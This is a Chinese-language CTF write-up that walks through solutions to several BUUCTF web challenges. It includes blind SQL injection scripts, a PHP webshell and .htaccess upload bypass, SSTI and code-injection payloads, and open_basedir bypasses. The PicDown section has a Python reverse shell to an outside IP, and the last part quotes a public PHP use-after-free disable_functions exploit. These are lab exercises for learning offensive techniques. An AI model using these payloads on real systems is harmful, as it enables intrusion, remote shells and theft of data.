举个栗子:

不难理解,然后直接写脚本跑flag就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests


url = "http://aef16e32-90b1-4ea9-8cf6-ce25567b080d.node4.buuoj.cn/"
result = ""


for i in range(1, 200):
left = 32
right = 128
while left < right:
mid = int((left + right - 1) / 2)
data = {
"id": f'2||((select 1,"{result + chr(mid)}")>(select * from f1ag_1s_h3r3_hhhhh))'
}
res = requests.post(url=url, data=data)
if "Nu1L" in res.text:
right = mid
else:
left = mid + 1
# print(f"[*]Left new is: {left} ~ Right new is: {right}")
result += chr(int((left + right - 1) / 2))
print(f"[+]Result new is: {result}")

拿到flag

flag{e2987a47-cb43-46cf-955a-b25eea7235ee}

[SUCTF 2019]EasyWeb

题目直接给出了代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

很明显,过滤了字母数字,然后进一个eval(),上面又给出了一个get_the_flag()函数,这里可以上传文件。从eval那拿flag很明显是很困难的,所以可以换个思路,通过eval()执行get_the_flag()函数,然后进行文件上传一句话木马。

无数字字母RCE

首先是要能执行get_the_flag()函数,但是由于把数字和字母都ban了 ,所以这里准备用异或绕

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$need = "_GET";
$payload = "";


for($i = 0; $i < strlen($need); $i++){
for($j = 0; $j < 255; $j++){
$k = chr($j)^chr(255); // dechex(255)=ff
if($k == $need[$i]){
$payload .= '%'.dechex($j);
}
}
}
echo $payload;

用phpinfo试试

其实这里有个非预期解,在phpinfo里直接搜flag是可以拿到flag的。

文件上传绕过

这里虽然能上传文件了,但是还是需要绕过一些if。

首先是

1
if(preg_match("/ph/i",$extension)) die("^_^");

这要绕ph,可以用.htaccess绕过。

然后是

1
2
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");

这里则需要绕过’<?’和exif_imagetype(),具体原理看这

直接用脚本生成文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"


def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()


def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .lethe\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()


generate_htacess()

generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")

然后用postman分别上传。

成功进入后即可拿到eval()可控权,但是从之前的phpinfo里可以看出,ban了许多函数了,但是我们可以选择读取目录,然后查看flag的位置直接打开。

这里可以看出题目做了open_basedir限制,所以我们需要绕过open_basedir()。

open_basedir()绕过

具体原理看这

然后构造出一个查看根目录的payload:

cmd=chdir(‘/tmp’);mkdir(‘R0SW’);chdir(‘R0SW’);ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/‘);var_dump(scandir(‘/‘));

然后直接查看flag,payload:

cmd=chdir(‘/tmp’);mkdir(‘R0SW’);chdir(‘R0SW’);ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/‘);var_dump(file_get_contents(THis_Is_tHe_F14g));

即可拿到flag

flag{8150a122-84de-4eb3-bae2-1fc81971f572}

[HarekazeCTF2019]encode_and_encode

好长的名字(x

json编码绕过

题目直接给了query.php的源码,直接审计源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

先是给了个正则过滤函数,过滤掉了一些字符,还不给目录遍历。

然后是从php://input伪协议中读取,接着json_decode一下,之后就是if查过滤。

但是,but,if里查的是$body,而不是$json,那么这里就好绕了,我们只需要用一个json_decode能解出来的,而php不能解出来的编码即可绕过,那就是unicode编码。

然后直接burpsuite里post就行了。

拿到flag

flag{87cab010-10db-422e-8687-246e2406df00}

[b01lers2020]Welcome to Earth

BurpSuite拦截

打开题目发现页面会自动跳转,跳转到一个什么也没有的/die/,用BurpSuite拦一拦。

发现一个/chase/,直接跳转进去。

有三个都是进/die/的,有一个进了/leftt/,跟进去。

有个/shoot/,跟进去。

跟到/door/之后需要查看door.js。

1
2
3
4
5
6
7
8
9
10
11
function check_door() {
var all_radio = document.getElementById("door_form").elements;
var guess = null;

for (var i = 0; i < all_radio.length; i++)
if (all_radio[i].checked) guess = all_radio[i].value;

rand = Math.floor(Math.random() * 360);
if (rand == guess) window.location = "/open/";
else window.location = "/die/";
}

跟进/open/,进去open_sesame.js。

1
2
3
4
5
6
7
8
9
10
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

function open(i) {
sleep(1).then(() => {
open(i + 1);
});
if (i == 4000000000) window.location = "/fight/";
}

跟进/fight/,进去fight.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}

function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

// TODO: unscramble function
}

这里就给出了flag,但是是乱序的,写脚本排下序。

1
2
3
4
5
6
7
8
9
10
11
12
from itertools import permutations


flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)

for i in item:
# print(i)
j = ''.join(list(i))
# print(j)
if j.startswith("pctf{hey_boys") and j[-1] == "}":
print(j)

顺序正常的那个就是flag。

pctf{hey_boys_im_baaaaaaaaaack!}

[NCTF2019]SQLi

regexp注入

有robots.txt,进去可以拿到hint.txt

1
2
3
4
5
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

这里直接就给出了过滤的内容,ban了挺多东西的,但是只要有password就可以拿到flag,而且regexp放出来了,尝试regexp注入。

写盲注脚本前先跑一下正确的显示,方便写脚本。

然后是写脚本时间!虽然空格没了,但是可以用/**/注释符代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from urllib import parse

url = "http://7c2e6748-2f52-4cd7-bf7e-353a4bab5b98.node4.buuoj.cn/"
reg = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" + "_"
flag = ""


for i in range(1, 100):
for mid in reg:
data = {
"username": "\\",
"passwd": f'||/**/passwd/**/regexp/**/"^{flag + mid}";{parse.unquote("%00")}'
}
res = requests.post(url=url, data=data)
if "welcome.php" in res.text:
flag += mid
print(f"[+]Flag new is: {flag.lower()}")
break

可以跑出password

you_will_never_know7788990

然后直接登陆就行了。

拿到flag

flag{0c36d354-c693-4611-9c3b-ff418512f386}

签到题估计是ヾ(´・・`。)ノ。

cookie伪造

直接拿cookie去base64解码,然后把money改到100以上,直接买曲奇就能拿到flag。

[WUSTCTF2020]CV Maker

简单的文件上传,虽然有exif_imagetype()挡着,但是可以在文件头前加东西绕过。

1
2
GIF89a?
<?php eval($_GET['cmd']);?>

直接登陆传上去就有shell了,地址可以在上传后的头像上看到。

然后进去拿flag。

就可以拿到flag了

flag{c3944c3a-0d58-4fb3-bb2c-6c8b89290cc3}

[RootersCTF2019]I_<3_Flask

简单SSTI

题目很明显的给出了是flask,用arjun爆一下参数。

可以知道注入点是name,简单测试一下。

很明显是jinjia2模板,直接拿权。

拿flag。

flag{d4f17600-d22b-4bc9-95d4-eda38ea5df04}

[网鼎杯 2020 白虎组]PicDown

目录穿越

题目给了个url参数,试了试发现可以目录穿越读东西,直接看/etc/passwd/

?url=../../../../etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh

没什么东西,看一下/proc/self/cmdline,/proc/self原理在这里

1
python2 app.py 

说明有app.py存在,直接拿。

?url=app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

可以看到给shell了,但是没有回显,而且key的secret.txt被删掉了,然后这里可以看/proc/self/fd/$pid,这个原理也在上面。

然后爆破一下secret.txt的$pid,我这边爆出来是3。

这下key就有了,然后就是拿shell了,因为没有回显,所以我选择反弹shell,python里面的嘛,就用python弹,原理看这里

tips: 重开过一次靶机,所以key不一样,记得要url编码(对了,如果是拿自己的服务器反弹shell的话,要记得开放端口。

?key=AuSDLlY07BCOCurV2ZQerfSDZ1ExvuICcJgh0ewklTw%3D&shell=python3%20%2Dc%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22116%2E62%2E243%2E231%22%2C1234%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27

拿到flag。

flag{61c36378-9daa-4176-94bf-1e1006d05c4b}

[CISCN2019 华东南赛区]Double Secret

有点像密码题(x

题目刚进来给了句Welcome To Find Secret,然后我就好奇心使然(只能说好奇一点点,不能再多了,去看了看/secret。

结果有一句Tell me your secret.I will encrypt it so others can't see,明示了嗷,填个secret参数看看。

不对头,很明显被加密了,随便填点东西。

发现直接报错了,而且给了源码,那就好说话了,secret先是会被RC4解密,然后再经过render_template_string模板渲染,那这就是很明显的模板注入了,但是要先RC4加密才能正确输入payload。

可以网上随便找个脚本进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
from urllib import parse


def rc4_main(key="init_key", message="init_message"): # 返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt


def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box


def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')


key = "HereIsTreasure"
message = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}"
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)

模板注入没ban啥东西,直接拿flag就是了。

flag{3bc3cf51-2658-4f98-93dc-a206fcb3048e}

[BJDCTF2020]EzPHP

只能说这题,重头戏之重中之重。

进入题目之后可以在页面源代码中看到

1
2
<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->

GFXEIM3YFZYGQ4A=进行base64解码后可以得到一个1nD3x.php,进入后直接给出了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

咱一个一个看。

$_SERVER[‘QUERY_STRING’]正则绕过

先解释一下$_SERVER[‘QUERY_STRING’],这个简单测试一下就可以发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
url = "http://localhost/aaa"
结果:
$_SERVER['QUERY_STRING'] = ""

url = "http://localhost/aaa?aaa"
结果:
$_SERVER['QUERY_STRING'] = "aaa"

url = "http://localhost/aaa?aaa=111"
结果:
$_SERVER['QUERY_STRING'] = "aaa=111"

可见$_SERVER['QUERY_STRING'] 获取查询语句 取的是?之后的值

而且$_SERVER[‘QUERY_STRING’]是无法进行urldecode(),而$_GET[]是可以进行urldecode(),所以我们可以使用url编码进行绕过。

字符串正则匹配绕过

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

可见我们需要使正则能在debu中匹配到aqua_is_cute,但又不能使debu==’aqua_is_cute’。

这种我们可以用%0a换行污染进行绕过,payload:

?debu=aqua_is_cute%0a

$_REQUEST正则绕过

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

foreach$_REQUEST的键值赋值给了$value,然后是正则匹配$value是否含有字母,否则就die()。

这里要说一下,$_REQUEST可以同时获取$_GET$_POST的值,但是是有顺序的。

而具体顺序决定是在php.ini配置文件中。

This directive describes the order in which PHP registers GET, POSTand Cookie variables into the _REQUEST array. Registration is donefrom left to right, newer values override older values.

可以看到优先值是POST才到GET,那么我们就可以用POST覆盖GET的值进行绕过。

这样就可以绕过$_REQUEST正则了。

file_get_contents()文件比较绕过

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里需要file_get_contents($file)得到的字符串与debu_debu_aqua相等,而我们不清楚是否存在含有debu_debu_aqua字符串的文件,且文件名也是未知的,所以我们可以使用伪协议进行绕过。

1
2
3
data://text/plain,debu_debu_aqua
或者
data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=

sha1()比较绕过

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里需要sha1($shana)sha1($passwd)的值相等,且$shana!=$passwd,否则die()。

由于sha1()函数无法处理数组,所以我们可以使用数组绕过。

create_function代码注入

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

到最后了,这里ban了超级多的东西,但是又有一个incoude "flag.php",那这明显不是让我们进行RCEcat flag.php的了。

由于上面有一个extract($_GET["flag"]);,这样我们可以通过构造flag[code]数组进行$code变量覆盖,这样子$code$arg都是可控的了,于是就可以进行代码注入,payload:

flag[arg]=}a();//&flag[code]=create_function

先解释下原理,create_function()可以构造一个lambda类型的函数。

1
2
$myfun = create_function('$a,$b','return($a+$b);');
echo $myfun(1,2);

这相当于

1
2
3
function myfunc($a,$b){
return($a+$b)
}

而$code是可控的,所以我们可以进行人工闭合。

1
2
$myfun = create_function('$a,$b','return($a+$b);}phpinfo();//');
$myfun(1,2);

于是就可以进行代码注入了。

获取flag

由于include "flag.php"了,我们可以用get_defined_vars()将所有变量的值输出出来。

最终payload:

1
2
3
4
5
6
7
8
?%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

解码:
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function&shana[]=1&passwd[]=2

post:
file=1&debu=1

可惜拿到了一个FakeFlag,但是好歹告诉了real_flag在realfl4g.php里。

接下来就需要包含rea1fl4g.php并且得到flag。

  • 由于include用不了,选择用require。
  • 由于.用不了,可以使用base64_decode绕过。

payload:

1
2
3
4
5
6
7
8
?%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%6c%61%67%5b%61%72%67%5d=%7d%72%65%71%75%69%72%65%28%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77%29%29%3b%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

解码:
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function&shana[]=1&passwd[]=2

post:
file=1&debu=1

但是拿到的还是FakeFlag,而且没有flag参数,查看源码发现$rea1_f1114gunset()了。

选择直接读源码,由于fopen()fgets都没有被ban,但由于只能一行一行的读,所有用while循环读。

1
2
3
4
5
6
7
8
?%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%6c%61%67%5b%61%72%67%5d=%7d%64%65%66%69%6e%65%28%61%2c%66%6f%70%65%6e%28%7e%28%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F%29%2c%72%29%29%3b%77%68%69%6c%65%28%21%66%65%6f%66%28%61%29%29%76%61%72%5f%64%75%6d%70%28%66%67%65%74%73%28%61%29%29%3b%66%63%6c%6f%73%65%28%61%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

解码:
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&flag[arg]=}define(a,fopen(~(%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F),r));while(!feof(a))var_dump(fgets(a));fclose(a);//&flag[code]=create_function&shana[]=1&passwd[]=2

post:
file=1&debu=1

base64_decode()本地测试可以用,但是放postman里直接跑就不行了,所以选择取反进行绕过。

最后得到flag。

flag{89a3d450-9605-4f80-8692-215310ebc838}

[GYCTF2020]EasyThinking

ThinkPhp6.0文件包含漏洞

具体是个ThinkPhp6.0 Session 文件包含漏洞,漏洞分析具体看这里

我们具体看咋用,先直接注册一个账号。

修改PHPSESSID的值以达成文件包含,(注意限制了32长度,包含.php

上传成功后可在search处写一句话木马。

上传成功后是储存在/runtime/session/

disable_functions绕过

这里直接在phpinfo里可以看见ban了很多函数,虽然可以直接连接进蚁剑,但是我们没有权限直接查看flag,那八成就是通过readflag拿到flag了。

蚁剑disable_functions绕过

可以用蚁剑里disable_functions插件中的PHP7_Backtrace_UAF模式进行绕过

漏洞原理:

漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047

选择PHP7_Backtrace_UAF模式,点击开始。

然后在虚拟终端直接/readflag,即可拿到flag。

Exp上传绕过

网上dalao写的exp,原理也是上面的debug_backtrace(),把command改成/readflag,然后通过蚁剑上传即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag"); // command

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
